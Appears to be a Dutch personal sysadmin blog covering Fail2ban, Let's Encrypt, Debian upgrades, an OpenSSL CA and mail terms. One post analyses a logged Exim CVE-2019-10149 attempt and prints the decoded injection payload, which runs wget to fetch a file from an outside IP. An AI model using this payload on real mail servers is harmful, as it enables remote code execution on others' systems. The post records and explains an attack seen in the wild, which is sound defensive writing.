Exim MTA Vulnerability CVE-2019-10149

Vandaag opeens een raar mailtje in mijn inbox. Een compleet lege mail, zonder tekst en zonder afzender. Op zich niets aan de hand, maar omdat het raar is dat alles leeg is, ben ik toch op onderzoek uitgegaan om te zien wat hier speelt. In de log was het vrij snel terug te vinden:

Jun 25 17:41:37 echo postfix/local[7859]: EFE5D2D4141: to=<root+${run{x2Fbinx2Fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@mailserver>, relay=local, delay=0.39

Wat vooral opvalt is de tekst achter to. Normaal gesproken staat daar een emailadres. Maar in dit geval staat daar een reeks vreemde tekens. Alhoewel, een deel wel opvalt. Zoals het woordje wget. Deze string is ge-encodeerd. Als we dit decoderen (2F = /, x = spatie, 22 = quotes), dan staat er dit:

root+${run{/bin/sh t-ct "wget 65.181.120.163/stfinracu"}}

In mailservers wordt de + gebruikt om sub-addressing mogelijk te maken. Een truukje dus om meerdere emailadressen te kunnen gebruiken die allemaal in dezelfde mailbox terechtkomen. In Gmail is dat ook mogelijk op deze manier.

Deze regel is natuurlijk bedoeld om als user root het commando wget uit te laten voeren en een bestand op te halen van de remote server. Toen ik keek, was het bestand al weg van deze server. Waarschijnlijk wordt het snel opgeruimd als blijkt dat een server niet vatbaar is.

Een zoekopdracht leert dat ongeveer 2 weken geleden een vulnerability bekend is gemaakt voor Exim, CVE-2019-10149. Ook wel bekend als The Return of the WIZard. Nu gebruik ik geen Exim, dus heb hier geen last van. Maar het toont wel aan hoe slim dit soort aanvallen in elkaar zitten. De technische uitleg van deze aanval is interessant om te lezen.

Fail2ban installatie and configuratie

Besloten om Fail2ban te gaan gebruiken om het verkeer op vooral de ssh poort te beperken.

Installeren gaat eenvoudig:

# apt-get install fail2ban

Valt me op dat er voor een aantal bestanden worden geplaatst voor zaken die ik niet geinstalleerd heb. Op zich niet erg, maar niet echt netjes. Later maar eens uitzoeken of ik die zonder problemen kan verwijderen.

Daarna status controleren:

# service fail2ban status
[ ok ] Status of authentication failure monitor:[....] fail2ban is running.

Voor Debian geldt dat de configuratie in /etc/fail2ban/jail.conf file en /etc/fail2ban/jail.d/defaults-debian.conf gedaan wordt. Omdat deze 2 bestanden in de toekomst mogelijk kunnen wijzigen, wordt geadviseerd om een eigen bestand te maken met de gewenste instellingen:

# vi /etc/fail2ban/jail.d/jail-debian.local

Tot slot nog een herstart om de wijzigingen actief te maken:

# service fail2ban restart

Om meer details over de status te krijgen, kunnen de volgende commando’s gebruikt worden:

# fail2ban-client status
# fail2ban-client status sshd

Tot slot, een kleine naslag voor mezelf om de huidige bans te tonen en een ban voor een ip op te heffen:

  • Toon gebannede ip’s
  • # iptables -n -L --line-numbers
  • verwijderen banned ip uit de lijst
  • # iptables -D f2b-sshd 

Lets Encrypt

Tot op heden heb ik voor deze site altijd een self signed certificaat gebruikt. Maar met de tijd wordt het gebruik van self signed certificaten behoorlijk afgeraden en browsers geven om de haverklap waarschuwingen. Nu is Let’s Encrypt al enige tijd actief en het is een goede optie voor een gratis certificaat van een CA die in elke grote browser aanwezig is.

Enige nadeel is dat de certificaten maar 90 dagen geldig zijn. Maar daar staat tegenover dat het aanvragen en vernieuwen erg eenvoudig is.

Als eerste stap de backports voor Debian Stretch toegevoegd:

# vi /etc/apt/sources.list
# aptitude update

Daarna certbot geïnstalleerd uit de backports:

# apt-get install certbot python-certbot-apache -t stretch-backports

Als dat gedaan is kan ik een certificaat voor www.zomaarr.nl:

# certbot certonly --webroot -w /var/www/html/zomaarr.nl -d www.zomaarr.nl

Om te controleren of ik eigenaar ben van het domein, heb ik gekozen voor het plaatsen van een document in de webroot. Tijdens het proces wordt een verborgen directory aangemaakt met een challenge, die directory wordt na afloop keurig netjes weer verwijderd. Voor nu gekozen voor maar 1 domeinnaam. Ik kan altijd later nog besluiten om voor alle domeinen een SAN certificaat aan te vragen. Overigens, tegenwoordig kan bijna elke browser met SNI overweg, dus voor mij is het ook geen probleem om per domein een eigen certificaat te gebruiken.

Tot slot nog de configuratie van de webserver aanpassen en een herstart om het nieuwe certificaat actief te maken.

# vi /etc/apache2/sites-enabled/zomaarr.nl
# apache2ctl -t
Syntax OK
# apache2ctl restart

Debian upgrade naar Stretch

Het was al enige tijd nodig, maar eindelijk wat tijd gevonden om de update van Debian Jessie naar Stretch te doen. Heb daarbij mijn gebruikelijke stappenplan gevolgd.

Allereerst zorgen dat alles volledig is bijgewerkt:

# apt-get update
# apt-get upgrade
# apt-get dist-upgrade

Daarna de sources aangepast en naar de Stretch laten wijzen:

# vi /etc/apt/sources.list
--> change jessie in stretch

Vervolgens de upgrade uitvoeren:

# apt-get update
# apt-get upgrade
# apt-get dist-upgrade

Bij een aantal configuratiebestanden kreeg ik de melding dat er een nieuwere versie beschikbaar was. Bij de vraag of de huidige overschreven mocht worden heb ik altijd nee geantwoord. De verschillen tussen mijn configuratie en de nieuwe zoek ik achteraf wel uit.

Daarbij ben ik geen problemen tegengekomen, alles was vrij simpel op te lossen. Had me voorgenomen om die wijzigingen netjes bij te houden voor het blog, maar dat ben ik totaal vergeten. Hopelijk vergeteet ik het niet bij de volgende grote upgrade, want juist dat soort uitzoekklusjes zijn prima voor een berichtje.

Debian Jessie update

Debian Jessie is paar weken geleden uitgebracht, maar was nog niet aan updaten toegekomen.

Heb het vrij simpel aangepakt. Eerst zorgen dat Wheezy helemaal geupgrade is:

# apt-get update
# apt-get upgrade
# apt-get dist-upgrade
# vi /etc/apt/sources.list
--> change wheezy in jessie

Daarna nogmaals voor de echte upgrade:

# apt-get update
# apt-get upgrade
# apt-get dist-upgrade

Tijdens upgrade een flink aantal configuratiefiles waarvoor ik de vraag kreeg of mijn versie overschreven mocht worden. Hier heb ik altijd nee op geantwoord, dit zorgt ervoor dat ik mijn wijzigingen niet kwijt ben en dat de nieuwe default configuratiefiles apart worden weggeschreven.

Heb eigenlijk geen echt grote problemen ondervonden. Alleen de upgrade van Debian bracht ook een upgrade van Apache 2.2 naar Apache 2.4 met zich mee. Dat zorgde ervoor dat Apache niet direct wou starten omdat een aantal parameters gewijzigd waren. Dat was simpel op te lossen door de aanwijzingen in de Apache logs en de output van apachectl configtest te volgen.

Debian upgrade naar Wheezy

Vandaag de upgrade naar Wheezy gemaakt, met vrij simpel stappenplannetje:

Eerst zorgen dat alles bijgewerkt is:

# apt-get update
# apt-get upgrade
# apt-get dist-upgrade
# vi /etc/apt/sources.list
--> change squeeze to wheezy

Daarna nogmaals voor de echte upgrade:

# apt-get update
# apt-get upgrade
# apt-get dist-upgrade

Enkele configuratiefiles moesten worden nagelopen, maar dat was binnen 10 minuten klaar.

Eigen ca

Al een tijdje loop ik met het idee om een eigen ca te gaan gebruiken. Voor mijn eigen sites vind ik het zonde van het geld om een duur certificaat van een officiele provider aan te schaffen. Mijn eigen ca zit weliswaar niet in elke browser, maar elke bezoeker kan wat mij betreft prima voor zichzelf uitmaken of hij mij vertrouwt ja of nee. Enige dat ik nodig heb is standaard aanwezig op bijna elke unix c.q. linux machine, namelijk Openssl.

Opzetten basisstructuur

Allereerst de opzet van de directory structuur en het aanmaken van de benodigde bestanden. Op zich maakt het niet uit waar het staat. Ik heb er voor nu voor gekozen om het in een subdirectory van de home van root te doen.

# mkdir /root/ssl/ca
# mkdir /root/ssl/ca/certs
# mkdir /root/ssl/ca/private
# mkdir /root/ssl/ca/requests
# touch certindex.txt
# echo '100001' > /root/ssl/ca/serial
# cp /etc/ssl/openssl.cnf /root/ssl/ca/openssl.cnf
# chmod -R 0700 /root/ssl/ca/

Wijzig hierin in ieder geval de volgende variabelen naar de voor u correcte waarden:

dir = /root/ssl/ca
database = $dir/certindex.txt
new_certs_dir = $dir/certs
certificate = $dir/certs/ca.crt
serial = $dir/serial
private_key = $dir/private/ca.key
default_days = 730
default_bits = 2048

Bij [ req_distinguished_name ] Vul de gewenste standaardwaarden in

Aanmaken ca private key en ca root certificaat

Nu we de basis hebben opgezet, kunnen we ons eigen root certificaat aanmaken.

/root/ssl/ca# openssl req -new -x509 -extensions v3_ca \
-keyout private/ca.key -out certs/ca.crt -days 3650 -config ./openssl.cnf

Belangrijk is om bij de common name een herkenbare tekst in te vullen, bijvoorbeeld de eigen naam. Het hoeft geen url te zijn. De naam die we hier invullen, is zichtbaar in de browser als we de lijst met gecertificeerde organisaties bekijken.

Daarnaast is het van belang om een goede passphrase te kiezen als beveiliging voor de private key.

We hebben nu twee bestanden:

  • /root/ssl/ca/private/ca.key: de private key van het root certificaat dat niet in verkeerde handen mag vallen
  • /root/ssl/ca/certs/ca.crt: het root certificaat dat aan de browser wordt aangeboden

Aanmaken certificate request en private key

We hebben nu ons eigen root certificaat dat we kunnen gebruiken om de requests te ondertekenen. Dat doen we met de volgende opdracht:

/root/ssl/ca# openssl req -new -nodes -out requests/www.zomaarr.nl.csr \
-keyout private/www.zomaarr.nl.key -config ./openssl.cnf

Als alles goed gaat, hebben we twee bestanden:

  • /root/ssl/ca/requests/www.zomaarr.nl.csr: het request voor onze site
  • /root/ssl/ca/private/www.zomaarr.nl/key: de private key voor onze site

Ondertekenen certificate request

Nu zijn we zover dat we het request kunnen gaan ondertekenen:

/root/ssl/ca# openssl ca -out certs/www.zomaarr.nl.crt -config ./openssl.cnf \
-infiles requests/www.zomaarr.nl.csr

Omdat we nu de private key van ons root certificaat benaderen, wordt gevraagd om de passphrase die we hebben ingevuld.

We hebben nu een aantal nieuwe bestanden:

  • /root/ssl/ca/certs/www.zomaarr.nl.crt: het certificaat dat op de webserver geplaatst kan worden
  • /root/ssl/ca/certindex.txt: overzicht van de ondertekende requests
  • /root/ssl/ca/serial: dit bestand bevat het serienummer dat de eerstvolgende keer gebruikt gaat worden
  • /root/ssl/ca/100001.pem: voor elk ondertekende request wordt naast het bestand in de -out parameter, ook een certificaat aangemaakt met het serienummer in de naam

Al met al niet heel ingewikkeld, maar het is wel zaak om helder te hebben welk bestand waarvoor dient en een naamgeving te gebruiken die precies aangeeft waar elk bestand voor gebruikt wordt.

Natuurlijk kan het verder uitgebreid worden door een shell scriptje te maken dat als parameter de domeinnaam nodig heeft, zodat via een paar simpele Openssl opdrachten alles automatisch verloopt. Maar dat is voor een volgende keer.

Moeilijke mail termen

Om nu voor eens en voor altijd voor mezelf helder te krijgen wat nu al die verschillende afkortingen betekenen, een overzichtje van de belangrijkste termen die je tegen komt als je zelf een mailserver gaat beheren.

  • MUA Maul User Agent
    Oftewel het programma waarmee je mail kunt ophalen en versturen, bijvoorbeeld Outlook.
  • MTA Mail Transport Agent
    De naam zegt het eigenlijk al, de MTA zorgt voor het transport van de mail, dus van bijvoorbeeld Outlook naar de verzendende en de ontvangende mailserver.
  • MDA Mail Delivery Agent
    De MDA neemt de mail in ontvangst van de MTA en levert het af in de juiste postbus. Hierna kan het dus met een MUA weer opgehaald worden.
  • MSA Mail Sending Agent
    Een MSA is in feite niets meer of minder dan het versturen van mail, bijvoorbeeld providers maken hier gebruik van om voor al hun gebruikers de mail te kunnen versturen. Anders gezegd, het is een MTA met daarbij de taak om voor geauthenticeerde gebruikers mail te versturen.
  • MRA Mail Retrievel Agent
    De MRA is verantwoordelijk voor het ophalen van mail van een externe mailbox, zodat het lokaal gebruikt kan worden. Dit gaat in samenwerking met de MDA.

Verwijderen trojan

Verwijderen van XP Antivirus 2011 van een besmette pc:

Kopieer de volgende regels in een tekstbestand en sla het op als fix.reg

Windows Registry Editor Version 5.00

[-HKEY_CURRENT_USER\Software\Classes\.exe]
[-HKEY_CURRENT_USER\Software\Classes\pezfile]
[-HKEY_CLASSES_ROOT\.exe\shell\open\command]

[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="\"%1\" %*"

[HKEY_CLASSES_ROOT\.exe]
@="exefile"
"Content Type"="application/x-msdownload"

Dan fix.reg uitvoeren door te dubbelklikken, hierdoor wordt het register hersteld en is het weer mogelijk om bestanden op een normale manier te starten.

Nu moeten we zorgen dat we met een goede malware scanner alles volledige te verwijderen, bijv. met Malwarebytes . Doe een volledige scan en laat alle gevonden zaken verwijderen. Daarna is het aan te raden een volledige scan met een goede virusscanner te doen.

Meerdere tabellen verwijderen

Soms is het nodig om een heleboel tabellen in de database te verwijderen. Zo had ik bijvoorbeeld op een oud domein nog de tabellen van phpBB3 staan, een overblijfsel van een testforum dat al lang en breed weg is.

Nu heeft Mysql helaas geen optie om met een wildcard meerdere tabellen te selecteren. Er is dus een omweg nodig. Eerste stap is om een bestandje te maken met sql opdrachten:

for counter in `mysql -u root -p -e "show tables like 'phpbb3_%'" dbname | awk '{print $1}' | grep -v Tables`
do
echo 'drop table '$counter';' >> remove.sql
done

Tweede en laatste stap is om het sql-bestandje uit te voeren:

mysql -u root -p dbname < remove.sql

En met deze twee opdrachten heb ik alle tabellen met prefix phpbb3 verwijderd.